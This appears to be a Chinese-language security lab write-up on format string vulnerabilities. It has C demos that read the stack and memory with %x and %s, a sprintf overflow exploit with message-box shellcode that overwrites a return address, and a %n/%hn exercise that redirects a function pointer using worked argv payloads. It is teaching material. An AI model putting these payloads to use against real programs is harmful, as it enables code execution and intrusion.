格式化字符串

目标

通过几个例子来理解格式化输出函数漏洞的利用,使用 %s%x%n 格式操作符操作内存,完成给定 shellcode 调用。

测试步骤与结果

%x 查看栈内容

代码如下

stackView.c
1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(){
__asm int 3
char format[32];
strcpy(format,"%08x.%08x.%08x.%08x");
printf(format,1,2,3);
return 0;
}
  • 执行 printf 时,第四个 %x 没有提供相应的参数,会显示该参数所在位置的栈内容。在本例为 00132588h
  • 此程序输出如下

%s 查看指定地址内容

代码如下

memoryView.c
1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(){
__asm int 3
char format[40];
//利用多个%x将%s对应的参数位置挪到存储地址77E61044的栈地址
strcpy(format,"\x44\x10\xE6\x77%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%s");
//输出地址0x77E61044的内存
printf(format,1,2,3);
return 0;
}
  • 代码将要查看位于地址 0x77E61044 的内存内容。
  • 前 3 个参数为提供的 3 个参数,后面的一群 %x 是为了将 %s 的参数对应到地址 0x77e61044 上,所以可以输出内存 0x77e61044 的内容直到遇到截断符。
  • 该段程序输出如下

实际操作对格式化输出函数漏洞进行利用

  1. sprintf() 函数

    • sprintf 的函数原型是这样的:int sprintf (char *buffer, const char *format, [argument] ...);
      • buffer 指针指向将要写入字符串的缓冲区
      • format 格式化字符串
      • argument 为可选参数
    • sprintf 函数的漏洞点在于它假定任意长度的缓冲区存在。
  2. shellcode 解析

    char user[]=
    "%497d\x39\x4a\x42\x00"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53"
    "\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"
    "\xB8\xBB\xB0\xE7\x77\xFF\xD0\x90\x90\x90\x90";
    • 我们使用数组 user 作为用户的 “输入”,\x39\x4a\x42\x00 为 shellcode 的起始地址,用来覆盖函数的返回地址。\x33\xdb 开始是我们的弹框 shellcode。当调用 sprintf 时,它会读取一个参数以 %497d 的格式写入 outbuf,由于未提供该参数,会自动将栈地址 0x0012fae0 中的值视为该参数,即 0x12ff80。需要写入 outbuf 的总字符串长度为 ,而 outbuf 长度为 512,因此会导致栈溢出,使得函数的返回后执行 sprintf()outbuf 的内容。
  3. 漏洞利用

    • 整体代码如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
       // libraries import omitted 
      void mem(){
      //__asm int 3
      char outbuf[512];
      char buffer[512];
      sprintf(
      buffer,
      "ERR Wrong command: %.400s", user
      ); /* 执行完上一步后buffer[]="ERR Wrong command: %497d\x39\x4a\x42\x00" 00424a39为shellcode地址;此处仅仅就是一串nop而已 */
      sprintf(outbuf,buffer);
      //sprintf(outbuf,"ERR Wrong command: %497d\x39\x4a\x42\x00");
      }
      int main(){
      LoadLibrary("user32.dll");
      mem();
      return 0;
      }
    • mem 函数中,分配了两个 512 字节大小的缓冲区,并进行了两次 sprintf 操作。

    • 第一次 sprintf 后,buffer(在 0x424a30)中的内容应该是 "ERR Wrong command: %497d\x39\x4a\x42\x00",其后的内容因为有 0x00 而被截断。

    • 第二次执行 sprintf,它会读取一个参数以 %497d 的格式写入 outbuf,由于未提供该参数,会自动将栈地址 0x0012fae0 中的值视为该参数,即 0x12ff80

    • outbuf 起始地址为 0x0012fd2c, 19 字节的字符串 ERR Wrong command: 后为 497 字节的整型数字 1245056,因此从 0012ff30 开始为 \x39\x4a\x42\x00

    • 我们成功将返回地址 0x4010d1 覆盖为 shellcode 的地址 0x424a39

    • shellcode 成功执行,弹出对话框。

测试结论

上述溢出程序的修改原理可以用这个图来简单表示。

思考题

源代码如下

foo.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# include <stdio.h>
# include <stdlib.h>
# include <errno.h>

typedef void (*ErrFunc)(unsigned long);

void GhastlyError(unsigned long err)
{
printf("Unrecoverable error! - err = %d\n", err);
//This is, in general, a bad practice.
//Exits buried deep in the X Window libraries once cost
//me over a week of debugging effort.
//All application exits should occur in main, ideally in one place.
exit(-1);
}

void foo(){
printf("I've been hacked!!!");
}

void RecoverableError(unsigned long err){
printf("Something went wrong, but you can fix it - err = %d\n", err);
}

void PrintMessage(char* file, unsigned long err){
ErrFunc fErrFunc; char buf[512];

if(err == 5)
{
//access denied
fErrFunc = GhastlyError;
}
else
{
fErrFunc = RecoverableError;
}

_snprintf(buf, sizeof(buf)-1, "Can'tFind%s", file);

//just to show you what is in the buffer
printf("%s", buf);
//just in case your compiler changes things on you
printf("\nAddress of fErrFunc is %p\n", &fErrFunc);

//Here's where the damage is done!
//Don't do this in your code.
//__asm int 3
fprintf(stdout, buf);

printf("\nCalling ErrFunc %p\n", fErrFunc);
fErrFunc(err);

}

int main(int argc, char* argv[]){
//__asm int 3
int iTmp = 100;
printf("%.300x%hn",11, &iTmp);
FILE* pFile;

//a little cheating to make the example easy
printf("Address of foo is %p\n", foo);

//this will only open existing files
pFile = fopen(argv[1], "r");

if(pFile == NULL)
{
//PrintMessage(argv[1], errno);
PrintMessage(argv[1], errno);
}
else
{
printf("Opened %s\n", argv[1]);
fclose(pFile);
}
return 0;
}

main 函数中根据命令行提供的参数打开对应的文件。如果这个文件不存在,那么就调用 PrintMessage 函数打印相应的错误信息。在 PrintMessage 函数中把错误分为 GhastlyErrorRecoverableError 两类。要想调用 foo 函数,可以通过 %nfErrFunc 函数的地址修改为 foo 函数的地址。命令行参数为:%x%x…%x%x%n+fErrFunc 函数指针的地址。snprintf 之后 buf"Can'tFind%x%x…%x%x%n"+fErrFunc 函数指针的地址,接下来由于 fprintf(stdout, buf) 中缺少了 argument 参数,所以已打出的字符总数通过 %n 被写入 fErrFunc 函数指针的地址。通过控制 %x 调整已打出的字符总数就能达到我们的目的。

  1. 首先传入一串 %x
     
    argv="%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
  2. fErrFunc0x12ff18 位置上,foo0x401014 上,2578%x 的 ASCII 码。
  3. 加上 %pABC
     
    argv="%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC"
  4. 我们需要把 \x18\xff\x12 放在一个可写的位置上,在前面加上. 以调整输出内容
  5. 现在把 %p 换为 %hn,由于多了一个 h,所以前面要少一个.,在后面我们还要放上 \x18\xff\x12

    此时 0x12ff18 的位置已经被更改为 0x40017e

  6. foo 的地址是 0x00401014,现在我们写入的值是 0x0040017E,还差 3734 个字节。

    这里是 3744 不是 3734,因为原来第一个 %x 打印了 6 个字节,为了对齐删掉了 4 个. 又少打印了 4 个字节,所以要把总共少打印的这 10 个字节加回去。从上图可以看出第一个 %x 对应的内容是 0012FF80,只打印了 12FF80;第二个 %x 对应的内容是 00000000,只打印了 0;从第三个 %x 开始正常打印 8 个字节。

  7. 利用成功。